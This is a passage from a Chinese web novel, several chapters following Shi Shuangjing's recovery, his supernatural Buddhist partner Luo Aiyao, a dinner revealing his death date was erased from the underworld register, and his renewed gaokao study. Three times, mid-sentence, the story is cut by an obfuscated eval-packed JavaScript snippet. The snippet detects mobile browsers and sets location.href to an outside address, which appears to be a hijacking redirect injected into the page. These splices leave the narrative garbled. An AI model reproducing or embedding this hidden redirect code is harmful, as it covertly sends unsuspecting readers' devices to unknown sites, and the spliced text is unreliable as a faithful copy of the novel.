施霜景清洗□□,罗爱曜的手掌在施霜景后背来回抚摸,换从前这种抚摸法可能会让施霜景有情欲,但施霜景病后元气大伤,他甚至不确定生病后期自己有没有起褥疮,施霜景只想将这层旧皮给洗去。 三十九块九三瓶包邮的男士沐浴露终于用完了,瘪缩的瓶子躺在洗手池里,施霜景不会浪费,即便日子好起来,买过的东西也必须要用完。罗爱曜来到施霜景家,适应施霜景的一切,如果施霜景用的是廉价沐浴露,罗爱曜就陪他消耗存货。旧的不去,新的不来。罗爱曜脑子里有一搭没一搭地想着,他存在于施霜景家的方式既是强烈侵入,又是缓慢更替。今后施霜景可以和罗爱曜用一千块一瓶的沐浴露。其他旧事物也大抵是如此被更换。 罗爱曜将施霜景擦洗干净,替他换睡衣,一颗颗纽扣系好。施霜景见此情此景,想着还是开个玩笑缓解一下气氛:“你好像我爸爸哦。” “我们的辈分已经够乱了,”罗爱曜没好气,“我做你舅舅,做你表哥,做你老师,还做你爱人——不准喊我爸爸。” 施霜景笑出声,“你大我几岁来着?” “一千二百四十七岁。” “???”施霜景一怔。罗爱曜还真的算了? “这还是只算了我‘出生’之后的年纪。”罗爱曜拍拍施霜景的屁股,让他离开浴室,“你去吹头发,我收拾一下再出来。” 施霜景发现罗爱曜没带他自己的换洗衣物进来,也不知道罗爱曜要“收拾”个什么劲。反正施霜景回房间第一件事是找出罗爱曜的衣服,给他送了过去。 厨房咕嘟咕嘟滚着粥水,米香四溢。刘茜见到施霜景竟然已经能下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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罗爱曜越过餐桌,用桌上的铁勺敲施霜景的脑袋,“是我的!” “你死不了了——长生不老,与天同寿。我一天不死,你就陪我吧!”罗爱曜施施然坐下,“我没在开玩笑,你这辈子和我这辈子划等号,就是这个情况,你要分手也分不了。” “啊?” 罗爱曜对施霜景这个“啊?”很不满意,拧起眉头等施霜景吐出象牙。 “佛子哥,你这么爱我,我好不习惯。先喝粥吧。”施霜景饭遁。 这下轮到罗爱曜郁闷了。这个施霜景怎么回事?罗爱曜下意识读施霜景的心,立马读到施霜景现在的想法。 “第一次谈恋爱就谈一辈子会不会风险太大了?这算初恋吗?到底什么是恋爱啊!” 施霜景看起来淡定,实则心里已慌作一团,重点完全偏移,比起“一辈子”,其实重点是初恋。施霜景的反射弧走了整整半年,到头来一拍大腿——“初恋”! 罗爱曜气散,悠闲道:“谁的初恋?你的还是我的?” 施霜景一抬眼睛,毫不犹豫道:“你的。” 罗爱曜勺子一顿。这个施霜景怎么回事! 135.你的死期确实已经过了 柳闻斌接到佛子电话,生怕是噩耗,他在心里默念好几巡:我尽力了,童蕾也尽力了,我们都尽力了,要是出什么事,千万别怪我们啊!默念完毕,柳闻斌这才按下接听键。 结果佛子只用一句话就打消柳闻斌全部顾虑:“施霜景已经平安。谢谢你和童蕾的帮助,我会记住这情分。” “佛子,您千万别这么说。”柳闻斌朝身边的老婆疯狂眨眼、点头,童蕾看柳闻斌这幅表现,也松了一口气。柳闻斌继续道:“是我家惹了祸,才害您被马家人缠上——要是我们还有什么能帮上忙的,佛子您尽管开口。” “你家母子一事是马家人用了惑心的手段,怪不到他们头上。不是他们也会是其他人,马家人是非要我去一趟不可的。”佛子声音不重,确实是累了,“我现在就想请你帮一个忙。” 柳闻斌听完,忍不住露出疑惑的表情。他放下电话,对童蕾说:“你做点拿手好菜,清淡的,我一会儿去小景家的时候顺便带过去。佛子那边不计较我们惹的祸,反而感谢我们。我们真发达了!” “我可不敢发达!我们一家人平平安安、健健康康就好了。”童蕾长出一口气,返身回厨房,又是炖汤又是做菜的,这应该是最后一趟为施霜景送饭了。童蕾势必要做一个完美的收尾,也为这一段时间的跌宕起伏画上句点。 罗爱曜下楼,柳闻斌从后座搬来一个大纸箱,里面装有罗爱曜要的东西。“佛子,我老婆还做了点饭菜,你帮忙拿一下……小景要是休息好了,可以吃一点,也省得你们做饭了。”柳闻斌说。 闻言,罗爱曜去副驾驶座取餐食,童蕾竟然是打包了六个餐盒加一个保温桶。罗爱曜领了这好意。 二人直接去了四楼,施霜景在三楼休息。罗爱曜一开门,玉米就喵喵喵喵地凑到门边。这回玉米没有躲柳闻斌,绕着罗爱曜的腿蹭来蹭去。罗爱曜让柳闻斌买了一台宠物烘干机,柳闻斌在四楼将宠物烘干机安装好了才离开。 若不是玉米进过罗爱曜的宝殿,罗爱曜定不会想洗猫这档子事。施霜景最多一年洗一次猫,还是在夏天,他觉得猫有很强的自清洁能力,洗多了反而不好。罗爱曜则是早就想给玉米洗一次澡了,毕竟施霜景和罗爱曜认识的契机就是玉米生病,它住院多时,病愈了也不敢给它洗澡。罗爱曜不管玉米以后洗不洗,但去过医院了怎么也得洗一次吧! 想着这些有的没的,罗爱曜抄起猫进浴室。一瓶宠物沐浴露够用三年,罗爱曜也是服了施霜景。 饶是罗爱曜对猫这样的生灵有天然的威慑,玉米还是和罗爱曜太熟了。罗爱曜以为他洗猫会非常顺利,玉米会乖乖地夹着尾巴让他冲水,但现实是玉米不停地往罗爱曜身上爬,伴以哀嚎和利爪。罗爱曜给玉米洗澡可比给施霜景洗澡还狼狈,幸好罗爱曜的身体留不下猫咪抓痕,否则肯定给玉米抓破相了。 与罗爱曜搏斗过的玉米立在烘干箱里,好像瞪视着罗爱曜。罗爱曜不跟猫计较,返身回浴室洗了今天的第二回澡。 好不容易把玉米烘干,罗爱曜抱起玉米下楼。甫一进门,罗爱曜就听见了视频的声音。施霜景竟然没睡? “还不睡觉?”罗爱曜进屋,施霜景半倚床头,用罗爱曜的电脑看电影,竟然都快看完大半部了。罗爱曜把玉米往床上轻轻一抛,意思是把猫还给施霜景。玉米拔剑四顾心茫然,不知道发生了什么事,施霜景赶紧扣上电脑,拍拍被窝,示意玉米过来。 然而玉米是小坏猫,它看了看施霜景,又看了看罗爱曜,最后他选择跳下床去猫砂盆上厕所。 罗爱曜收走施霜景的电脑,“我以为你已经睡了。你不知道你现在需要休息吗?” “我在等你回来。我不想一个人睡。” ……早知道就不洗猫了。罗爱曜刚这么想着,施霜景就又说:“但我又想你赶紧把玉米洗干净,我也很想它。” 罗爱曜上床,刚调整好枕头,施霜景就破天荒地主动贴了过来,脑袋贴着罗爱曜的侧胸,呢喃道:“只有和你睡的时候,我才不担心醒来面对现实,不然我怕这只是个梦。” 这怎么可能不怕呢?罗爱曜总是玩消失,说什么有法器、法身陪着施霜景,但到头来全都没用,比不过罗爱曜这具人身带来的安全感。罗爱曜揽过施霜景的肩膀,拍拍他,哄睡似的,只说:“这绝对不是梦。睡吧。你不睡觉,脑子就没法清醒,我就没法向你解释发生的这些事。你要好好睡觉,醒来之后才能听我解释这为什么不可能是梦。” 施霜景呼吸均匀,闭上眼不过两三分钟就入睡了。这说明施霜景确实很累,刚才看电影是强撑着等罗爱曜和玉米回家。说曹操曹操就到。玉米去猫砂盆如厕,又去吃了几口猫粮,做好了准备,爬上大床,仔细挑选最佳睡觉位,它最终选定施霜景的枕头上方,横躺了下来。罗爱曜和玉米大眼瞪小眼,算了,不跟它计较。 从来都是罗爱曜主动抱施霜景睡觉,贪恋他的体温和手感,除非施霜景睡熟了,会反过来抱住罗爱曜,但这都不算主动。施霜景今日这一抱,罗爱曜搂住他足足睡了一整个下午与一整个夜晚,完全不放手,不能让主动的施霜景失去安全感。 白天醒来,罗爱曜要带施霜景回医院检查。施霜景听见“医院”两字,几不可见地颤抖片刻,心里不踏实。由于施霜景曾经的住院记录全被罗爱曜抹去了,剩下的是他之前疑似自身免疫性肝炎的检查和诊断。医生给他重新开了检查,施霜景又要等一天才能看到结果,他一踏出医院,就向罗爱曜投去怀疑的眼神。 “你这么看我干嘛?不信任我吗?”罗爱曜被盯得有些发毛。 “我真的好了么?不会只是拖时间吧?”施霜景直言不讳。 “我承认我的能力有些问题,但不至于那么有问题——我再解释一遍,施霜景,你绝对已经被我救活了,那条小龙又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罗爱曜报出商场名称。郎放接通电话,施霜景前两句话说得颠三倒四,第三句才算是找回正常说话的水准,约他们一家三口去逛商场,要当面感谢一下小鼓之类的。郎放答应了,可是蒋良霖应该要提前离场,他晚上要与英国的合作实验室开越洋会议。 五人在商场碰面。施霜景远远就看见小鼓趴在她爸背上,蒋良霖一脸淡淡的死意,原来是凌晨他和美国的律师打了两个小时的电话,没睡好。郎放仔仔细细打量施霜景,施霜景有些紧张,不禁站直身体,双手贴裤缝,不知道郎放在打量什么。 “小霖替你翻了生死簿。”郎放煞有介事道,“你的死期确实已经过了。放心吧。” 施霜景:“???” 为什么我们认识这么久了,还能从你们嘴里听到这么多从未提及的设定?施霜景满头问号,他该从哪里问起?又该从哪里谢起? 136.反正我也不能涅槃了 蒋念琅一轱辘从爸爸的后背滑下来,蒋良霖捏捏眉心,“冰美式,浓缩,澳白,什么都可以,快给我来一杯。”蒋良霖语气催促,不知是太累了还是咖啡因的瘾上来了。 可罗爱曜打算先带施霜景吃午饭,现在正好是午餐的点。郎放望见旁边就有咖啡厅,让他们原地稍等片刻,他去给蒋良霖带杯咖啡,正好大家要一起去餐厅,郎放得让蒋良霖吃两口东西垫垫肚子再喝。 蒋念琅穿得很土气,这两个爹总给蒋念琅穿功能性的衣服,罗爱曜说:“一会儿带小龙去买点新衣服吧,又不是没有好看的童装。” 施霜景脑子里还盘旋着“生死簿”、“死期”之类的词。不知为何,施霜景有点怵蒋良霖,他们两家虽然总一起吃饭、行动,但施霜景和蒋良霖就是不熟。郎放去买咖啡了,话题就中断,而蒋良霖好像也不想在大庭广众之下聊这种话题。 “我买了啊!”蒋良霖终于找到理解他的人了,“可是小鼓天天上蹿下跳,你自己问她,她到底喜欢穿什么!” 这还用问?用眼睛看就够了。如今入春,蒋念琅不用再穿笨重的羽绒服,可最近两次见到她,她穿的都是儿童冲锋衣,只是颜色、品牌稍有变化,款式基本不带变的。 “佛子要给我买裙子吗?”蒋念琅凑到施霜景身边,很没边界感地捏捏施霜景的手,把脉似的,她继续道,“我想要那种穿脏了也不会挨骂的裙子。” “噢,你们不要老骂小孩,弄脏裙子而已。”这下让罗爱曜感觉自己很正义了。 蒋良霖冤枉至极:“得了吧,谁会骂她?是她把裙子弄脏了,我们给她洗干净,她说一看见裙子就想起裙子脏兮兮的样子,不愿意穿。她就只能穿些不容易轻易弄脏的衣服。” 换作以前,施霜景会下意识抱起蒋念琅,小孩不老实,抱起来就老实了。可惜施霜景今天没什么力气,光是站一会儿就感觉累。他旁听罗爱曜和蒋良霖聊育儿问题,心想罗爱曜又没小孩,怎么聊得这么投入?谁家养娃不是什么锅配什么盖,父母与孩子周旋久,早就养出模式了。别看蒋念琅这小东西冰雪聪明,谁知道她在家是不是父母的小魔头呢。 郎放很快握着一杯澳白出来,不让蒋良霖立刻就喝。他们五人去到一家潮汕牛肉火锅店,说是将就病人口味,吃些清淡的。 施霜景研究菜单好半天,罗爱曜已经先点过菜了,施霜景单纯对这些菜的定价感兴趣。他是不太能理解这些商场的餐饮,自己做饭时间久了,施霜景对肉和菜的价格很敏感。以前蒋良霖和罗爱曜互请家宴,施霜景看不见菜单也不知道价格,这就无所谓了。出来点菜吃是另外一回事,施霜景光琢磨菜单就琢磨了五分钟。 服务员很快就上了汤底和数盘牛肉。施霜景将菜单放回原处,一抬头不小心和蒋良霖对上眼神。蒋良霖笑眼弯弯,问他:“这两天身体恢复得怎么样?” 他干嘛对我笑?施霜景正经道:“还行!我还在等明天出检查报告!” “是嘛。我们预计后天就要去美国了,各种事情都放不下。小鼓,你自己跟你小景哥说,美国的小学好不好玩?” “我!不!喜!欢!上!学!!!” 不知道蒋良霖是戳中了蒋念琅哪根筋,还是蒋念琅终于有了新鲜的撒娇对象,她嘴角一撇就开始哭。施霜景手忙脚乱,郎放叹息,罗爱曜被小孩的哭声镇住,只有蒋良霖开喝咖啡,心累。 “不知道为什么,小鼓就是很难适应学校的环境。别看她这样,她英语挺好,上小学问题不大。我和她爸爸都不知道要怎么办了。”郎放愁眉苦脸。他知道蒋良霖刚才为什么笑着看施霜景。蒋良霖从和罗爱曜的对话里,发现了罗爱曜对小孩的兴趣,这是在调侃和警告施霜景呢——要考虑清楚了再要小孩! 施霜景乱七八糟地安抚一通,服务员上了南瓜饼,蒋念琅夹了一块,抽抽搭搭地啃南瓜饼,施霜景都生怕她被噎住打嗝。 小孩的小插曲结束,郎放也亲亲小鼓,正好汤锅滚沸,郎放涮的第一勺牛肉就全给了小鼓,让她先吃着。 大人的对话开始。 施霜景问:“生死簿是我理解的那个生死簿吗?阴曹地府的那个?” 蒋良霖十分惊讶,他记得他向施霜景大概讲过自己和郎放的事情,尤其是施霜景还在他家住过一阵呢。“小景,你可以把我和郎放都理解为地府系统的人,但那是我们上辈子的事。我上辈子做过阎王,这也没什么大不了的,本来应该有十位阎王,我只是其中一位,生死簿当初就是由我管。” “就在小鼓出生那年,我们和地府系统算是彻底划清了界限。我们还有往来的交流,但我更喜欢人间这边,互相就不再联络了,除非有要事。现在生死簿在判官崔珏手上,我没事也不会去借阅。如果早知道你有这一劫,我就应该提前去找他看看生死簿来着。” 蒋良霖说一句便停顿片刻,确保施霜景有在听。施霜景听懂了,他想起了一些信息,比如阎王和孽镜台,但有关生死簿的事确实是蒋良霖第一次提。 蒋良霖的声音不大,中午餐厅人不多,大声说这些信息很中二,“生死簿上记载你的死期本应是三月四日寅丑交界时分,死因为肝疾。我昨天立刻就去找了崔珏,他也很纳闷,死期已至,人却没有见着。他再一翻生死簿,发现你的死期已被金笔勾销,生辰八字也给一圈佛誓缠得紧紧的,判官阎王都没办法动,只能是当特例来算。” 施霜景立刻扭头看向罗爱曜。罗爱曜面色不改,回看了施霜景一眼,目光里只是微微流露出一点得意。 “那我是真的没事了吗?”施霜景不厌其烦地确认。 蒋良霖郑重点头。“你没事了。我就是有些好奇,你这是第一世,没有前世,怎么就惹上罗爱曜了?” 罗爱曜正在涮吊龙,“什么叫‘惹’上我?” “什么叫‘第一世’?这有什么说法吗?”施霜景问。 “唔,一般来说,第一世会与这个人的本质存在有些关联,你可以理解为这是某种先天的设置,就像我的第一世是龙,我如果在第三世没有找到我正确的因果,就可能继续轮回,到第三十世的时候都还在找寻第一世的蛛丝马迹。”蒋良霖顿了顿,化繁为简道,“如果能在第一世就抓住重点,你确实就不必忍受轮回之苦了。” “所以你才说我会长生不老?”施霜景又问罗爱曜。 “可是你的第一世确确实实是人类啊。”蒋良霖想不通。 罗爱曜一锤定音:“别说你们,就连我都想不通。走一步看一步吧,反正我也不能涅槃了。” 施霜景的筷子总是随着对话节奏停下,这下他真吃不下去了,他还以为罗爱曜在他病危时说的话是安慰他呢, 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“我是密宗佛子啊,现在汉密已经断代许久了,没见过也很正常。”罗爱曜道,“至于你提到水漫金山寺,我认为佛门若为了无情无欲做到这等偏执,其实是入魔。那不是真的空性。电视剧和小说话本里都有活人加诸的阐释和注脚,反映的不是本来的东西。” 餐厅人渐渐多了,桌上的话题就渐渐收敛。施霜景处理这种种信息,罗爱曜就和蒋良霖聊些非常人间的话题,钱、事业、投资、发展……罗爱曜真是彻彻底底入世了。 到头来还是郎放最能安慰施霜景。 “你现在会对感情有些不知所措,这都是很正常的。爱不是试炼,爱是生活。想明白这一点,你就知道为什么佛子要选择留下了。好好吃饭,好好养病,好好生活。你们未来的日子会很长很长,有大把的时间让你适应。” 施霜景问道:“你们也是一样吗?” 郎放没想到施霜景会回问,蒋良霖抢答:“我们也一样。现在不也是过得好好的?战略性地舍弃一些东西,可以让我们走得更轻松、更长远。” “谢谢你们。” 发出这句真诚感谢的不是施霜景,而是罗爱曜。他没想到今天这顿饭是过来人安慰新人。 “好吧,我摊牌了。其实我想拉拢像佛子这样的存在。留在人间不好吗?我觉得很好啊。” 蒋良霖露出庐山真面目,他果然还是更像人类。罗爱曜答应加入蒋良霖刚才提的什么什么计划,施霜景没听明白,什么档案什么记录的,听起来倒是不需要罗爱曜特别做什么,但罗爱曜需要向蒋良霖披露一些更深层次的信息。这就随他们去了。 饭毕,罗爱曜说好要带小鼓去买裙子,小鼓勉为其难地“同意”买了几件又贵又漂亮的好裙子。罗爱曜在审美上有他自己的坚持,不仅干涉施霜景,现在就连小鼓都要管一管。至于小鼓的父母,罗爱曜觉得是没救了,他们土到一块去,他们一家都穿冲锋衣,小鼓的审美就是这样受到影响。 吃饭,逛街,蒋良霖撑不住了,申请自己先回酒店补眠,他晚上还要开会。剩下郎放和蒋念琅,四人继续续摊,带小女孩逛书店。 一见到书,施霜景忽然像被雷劈了似的。 今天几号了?!五号。呃,高考啊!离高考只剩三个月了啊!二诊,二诊几号来着……三月十号! 施霜景颤抖着点开班级的微信群聊。 137.我真的需要这个文凭吗? 施霜景早些时候已经关掉了微信通知,而他的微信又时不时会刷些公众号的更新消息,一些群聊就会被刷下去。今日周三,周一班主任张国强在群里发了D市二诊的文件,考试时间是下周一,还是老规矩,所有孩子在学校集合,学校统一派车送孩子去考点考试。再往下翻翻,施霜景看见张国强在上周周末给他发消息,问他什么时候回学校上课、还要不要回学校,如果施霜景要二诊前的校内模拟卷,可以直接去张国强的办公室取。 施霜景脸色顿时苦了下来,小鼓转了一圈,对童书不感兴趣,对成年人的书又没耐心,她望见施霜景的表情,问道:“小景哥是不是要回家休息了?” “嗯……是的。我该回家休息了。” 只有罗爱曜知道施霜景心里正在苦什么。他们在书店的咖啡区坐下,点了饮品,这是最后一摊,再聊聊就散场。罗爱曜单刀直入,问道:“施霜景,我发现我没有问过这个问题——高考对你来说有什么特殊意义吗?你看郎放,他没有高考,但他也可以有自己的事业,我看他过得还挺高兴的。” 郎放莫名其妙成了范例,他有一个连小学都不愿意去念的女儿,这已经够烦心了,现下罗爱曜算是撞上郎放的枪口:“为什么要学我?我不上学是因为我要尽快赚钱独立。我十八岁就开始给科考队做进山向导;二十岁去练了半年格斗,给当官的又当保镖又当辟邪巫师;别人读大学的时候,我在山洞里给人挖悬棺,钟乳石结构根本就不稳定,我硬着头皮在岩壁上打钉,棺材比我这条人命贵。我做这些高危工作才攒到了钱,施霜景学我干嘛?” 施霜景听得一愣又一愣的,郎放赶紧补充解释道:“我以前做的活比较游走于法律边缘,但应该算不上违法。挖悬棺的活不是盗墓,是悬棺里装了某种埋藏了几百年的祭祀物,那家人几百年前将悬棺塞进去,现在后代取不出来了,才请我们这种人去帮忙。” “我学不会吧。高考肯定比你的活轻松。”施霜景感慨道。 郎放非常认同。 “你还没有回答我的问题,施霜景。”罗爱曜提醒道。 “特殊意义……要分时间段。以前我不想那么早就进厂打工,想着好歹考上大专,可以缓冲几年,领到一些补助,就当是休息几年。我挣钱挣得太辛苦了,有时候躺在床上都能听见心脏突突的声音。” 服务员送来不同饮品,施霜景只要了一壶花茶。他给自己满上一小杯,嗅着洛神花香气,继续说:“现在,我不知道。听说就连大学生都很难找工作,我不知道我读完大专或者大学能干什么。好像大学生、研究生也都在送外卖,那我高中毕业开始送外卖也不亏。我不知道。我只记得我爸爸妈妈好像都是大学生。我想知道读大学是什么感觉。” 问题来了。“我想知道读大学是什么感觉”,但凡场上有一位大学生,都能有人回答施霜景这个问题。罗爱曜是古代人,郎放高三辍学,蒋念琅是小学生。施霜景抿一口洛神花茶,“怎么是酸的?”施霜景纯听洛神花这名字好听才点了这种茶,口感和颜色完全两回事嘛! 罗爱曜托着下巴,陷入思索,施霜景转身去找店员要糖,这么酸根本不能喝。等施霜景回来,罗爱曜抬脸看他:“如果你没有一个很好的理由,我根本没有必要如此严苛地逼你考试。离考试只剩下三个月了。” 此时,郎放忽然想到了什么,他对施霜景严肃道:“小景,我唯一能给你的建议是,你必须得有工作。我知道佛子的条件很不错,但你不能掉以轻心。为了能有一份体面的工作,上大学或许还是必要的。” “为什么啊?佛子不给钱吗?”蒋念琅天真一问。 “他给。”施霜景回答蒋念琅的问题,紧接着对其他二位成年人说:“就试试看吧。我这辈子还没有为了自己的未来而努力过。反正只剩下三个月,考得好是我赚到,考不好也不可惜。谢谢郎先生,我一定会找工作的,你放心。天天在家等佛子的感觉很差劲,我不喜欢。” 施霜景感激郎放一家,不论是来替他治病,还是替他打了个同性恋家庭的样,还是现如今真心实意希望施霜景有独立事业,这些建议都是希望施霜景好。罗爱曜的态度也让施霜景放下心来,罗爱曜并未反驳郎放,他那好斗的人格今天休眠了,也可能是因为郎放说的话本来就有道理。 施霜景大病初愈,体力不支,撑不到吃晚餐,施霜景与罗爱曜二人就与郎放母女分别,预计明天也不会再约见。刚才他们喝茶聊天,蒋念琅简直就是个小大人,她从小就和大人平等交流,无比适应这大人的谈话场。施霜景很高兴蒋念琅同他描述了罗爱曜封她为龙王护法的那场仪式,但施霜景不知道,这是罗爱曜偷偷请蒋念琅转述的。那回施霜景不在场,是罗爱曜把他隔离在外,这到底会成为某种遗憾。蒋念琅这样开开心心地一说,施霜景以后再想起这件事,心里隔阂感就不会那么严重,进而感觉自己始终是他们的一份子。 而施霜景虽是体力不支,罗爱曜还是领他去买了好几身衣服,没道理只给外人买,不给施霜景买。施霜景坐着,罗爱曜选着,罗爱曜脑子里好像有施霜景的人模一样,以后的事实证明,他给施霜景买的每套衣服都不是施霜景平时爱穿的类型,可每套都非常衬施霜景。SA给施霜景准备芝士蛋糕和咖啡,施霜景不需要。唯一让施霜景上身试的只有墨镜,施霜景不自在极了。 “佛子,我发现我也没有问过这个问题……你为啥这么爱买名牌?”施霜景在车里时不时扭头看向后座的奢侈品袋。 “我不是什么贵就买什么。我比较偏好材质、剪裁出众的设计,或者是量体定制的西装,这些恰好都不便宜。这是我的爱好,从前就这样。我的法衣和袈裟一直最工细、讲究。” “那你还跑来和我住。你那些衣服我看了都不知道怎么清洗和处理。” “我有没有说过,励光厂本来就特殊,不去你家还能去哪里?我看那一片的房子都差不多,住哪里都一样。至于衣服,能扔进洗衣机的我都直接扔进去了,不能用洗衣机的,我都找时间请人上门取衣干洗,你不知道而已。” 施霜景惊了,他天天在家补课啊,哪来的人上门取衣。施霜景明明和罗爱曜同居了半年,连他这点生活习惯都不了解,也或许是施霜景之前根本就不关心罗爱曜的财物,现在是后知后觉地对罗爱曜的花钱方式上了心,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622914|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问出口。 两人又聊了聊彼此的风格偏好,简直像是车内相亲。施霜景说,他喜欢方便的衣物,不喜欢穿得出挑,怎么简约怎么来,黑白灰交替着穿,不喜欢穿一身的顺色,比起运动裤,施霜景最近好像更喜欢工装裤,因为口袋很多,总之是最常见的那类男大穿搭。罗爱曜说,他偏好复古风格,从他买的轿车和机车就能看出来,尤其是那辆两座机车,他喜欢骑机车的原因是,这让他想起过去骑马的日子;衣服方面,他要么穿得相当严整,要么穿得潇洒随意,最不爱穿运动风格,显得人很松垮没精神。 可事实上,罗爱曜没衣可穿的时候,捞出施霜景的运动衣也能穿了;而刚才给施霜景买的那些衣服全是罗爱曜的品味,施霜景穿严整或潇洒的风格也都会很好看。 施霜景回到家,立刻大眠一场。夜间醒来,他悄悄拿上新买的墨镜进浴室,对镜欣赏戴墨镜的自己。真的好不一样。施霜景反反复复地抬高、放下墨镜,戴墨镜的他真像那么回事,施霜景自我感慨,我真的蛮帅的。 三月七日,李婉萦久违地见到老板罗爱曜。为了省去一些解释的麻烦,罗爱曜稍稍调整李婉萦的记忆,让她只记得施霜景正在服药治病。李婉萦没想到施霜景还是要参加二诊,但她也直言了:“我估计小施现在的分数应该在三百五左右,比起刚上课时好了很多,可对于高考来说还是不够。罗先生您之前教的数学内容对小施特别有用,我后面给他补的知识点,他理解起来就没那么透彻。” “我知道了,数学和物理还是交给我,你主要负责他的其他四科。我出差耽误了一个月,原本说好年后让他回去跟班上课,现在看来还是不行。李老师,你到四月中旬之前还是天天来,依旧按照我之前制定的课表,轮到数学和物理的时候我来上课。” 李婉萦坐在施霜景对面,罗爱曜坐在施霜景右手边。施霜景不自觉缩缩脖子,有种被拷问的错觉。我真的需要这个文凭吗?我真的能熬过这三个月吗?施霜景下意识捂肝,这是紧张导致的幻痛。罗爱曜忍不住拍掉施霜景的手,没事就是没事,让人怪紧张的。 “小施,我听说你的目标是二本,会计专业,我替你查过了D市和省内其他的学校,你要是想上民办二本的会计专业,四百六十分怎么也是要的。” 李婉萦在黑板写下各科的目标分数,帮施霜景拼凑出这四百六十分。 “你的语文最好,现在可以稳定在一百分到一百一十分区间,我就算你有一百一十分。英语和数学算你及格,九十分,这样大三门加起来就有二百九十分了。理综一百七十分,生物靠记忆,我希望你能拿六十,剩下物理和化学各自拿五六十分,努力凑一凑,你就有二本可上。” 施霜景往椅背一靠,双手扶头,这要怎么凑?感觉要用命来凑啊。他忽然想起一件事:“李老师,我是少数民族,有加分!” “那你选一门减十分,不过进学校以后选专业要看裸分哦。” 罗爱曜摊开数学教科书,他清清楚楚记得上次他教到哪里。有一位真老师来分担责任的感觉很不错,施霜景从怵罗爱曜变成怵李婉萦。罗爱曜耐心道:“那我们就开始吧。” 138.大智若愚篇(一) 施霜景仍在康复期,医生替他开了药,柳闻斌又拿着这药去问他们在华西认识的肝胆科医生,确定就吃这几样,施霜景就一天几顿把药当饭吃。说来也倒霉,肝不好的人容易累,施霜景考前重新开启复习节奏,就发现自己没那么禁坐了,有时题目算着算着,施霜景便脸色一白,这时李老师就会让他去卧室躺一会。 三月十号、十一号,施霜景参加二诊。同学们久没见施霜景,都不知道施霜景春节后原来是生了病,不是在家埋头苦学呢。 比起有冲劲的施霜景,罗爱曜于精神层面有些萎靡。从马家大宅回来以后,罗爱曜完全不想自己的前途了,就连这“不想”的动作也显得有几分理所当然——既然已经决定要和施霜景在一起,既然把本誓几乎全捆在了一个活人身上,罗爱曜还挣扎什么?说不定马鸣就是看出罗爱曜有情种开花的征兆,送他一次大乘涅槃的机会,是罗爱曜硬生生放弃了。不过罗爱曜完全不后悔。后悔是最无用也最软弱的情绪。 若是有空,罗爱曜需要重建自己的法界,整理一地断壁残垣,要重新构想宝殿,要检阅拯救施霜景期间他于无想状态中悟出的所有新经。这工作量大得吓死人,罗爱曜也畏难。他忽然发觉,自己真可能是个懒人,哪有人像他一样蹉跎闭关,千年后上工还如此怠惰,全吃天赋饭,幸好这碗饭吃不完。 施霜景不要罗爱曜跟他去考试,施霜景要和同学聚一聚。罗爱曜百无聊赖,心里很有往外跑的冲动,其实罗爱曜是喜欢与人互动的,否则他就连信徒都不必有。用法身这里看看、那里看看,时不时为信徒给予指示,提供方向。这下罗爱曜又悟了,他几回失联都是这“往外跑的冲动”害的,要改,别什么事都自己亲自上。 白天罗爱曜教施霜景数理知识,晚上李老师离开,施霜景就写作业,罗爱曜过了看电影的阶段,如今又开始看书,不过看的是一些STEM学科的原文书。施霜景瞅一眼:“佛子哥,我以为你是文科生呢,感觉你英语很好的样子,结果你竟然还能用英语看理科。” “佛理中的许多概念与数学有关,比如我们的时间计量单位就是大数,而佛理本身又与宇宙学有关联,我学这些很奇怪吗?语言方面对我来说从来都不是难事。” 施霜景哼唧一声,继续死磕力学题。人类多智而近妖,为什么佛子多智就理所应当啊! 春夜喜雨,雨后气温骤升。施霜景的二诊成绩还没出,励光厂忽然传出消息——他们厂要设立新生产线了! 最兴奋的莫过于这些厂二代、厂三代,老一辈工厂人就希望孩子能够继承自己的事业,可惜励光厂在二十年内规模萎缩,大部分工厂线都搬到了航天工业园区去,励光厂内只剩下几条较为边缘的生产线。 这等好消息放出来,大家本应高兴的,可那些临近退休的高级技工都不愿意多说,眼睛里闪烁着兴奋的光彩,可嘴巴闭得紧。整个航天厂笼罩在一股不可声张的喜悦氛围中,大家隐约猜到了原因,大约是总集团研发的新战机有了好消息,说不定是中标呢。 何晓栋原本万念俱灰,只剩去挑一辆小吃车白手起家,可他的老师杨师傅忽然打电话来,要他再次参加面试,就去面试数控操作工。面试非常紧急,何晓栋前一天刚接到电话,杨师傅第二天就把他接去面试。当天下午,何晓栋幽魂一样飘进了福利院,刘茜赶紧出来接他,问他面得怎么样。何晓栋机器人似的点头,“面上了,我面上了……刘老师你快掐掐我,掐我大腿,我要补励光厂福利院的证明,证明我是厂里长大的,然后就可以签合同了……” 刘茜狠狠拧一把何晓栋的大腿,他痛得大叫,这才回了神,赶紧掏出手机,给施霜景发语音:“施霜景,我进厂了!我进厂了!实习期六个月!厂里会给我分配师父,我就可以往上考证了!!” 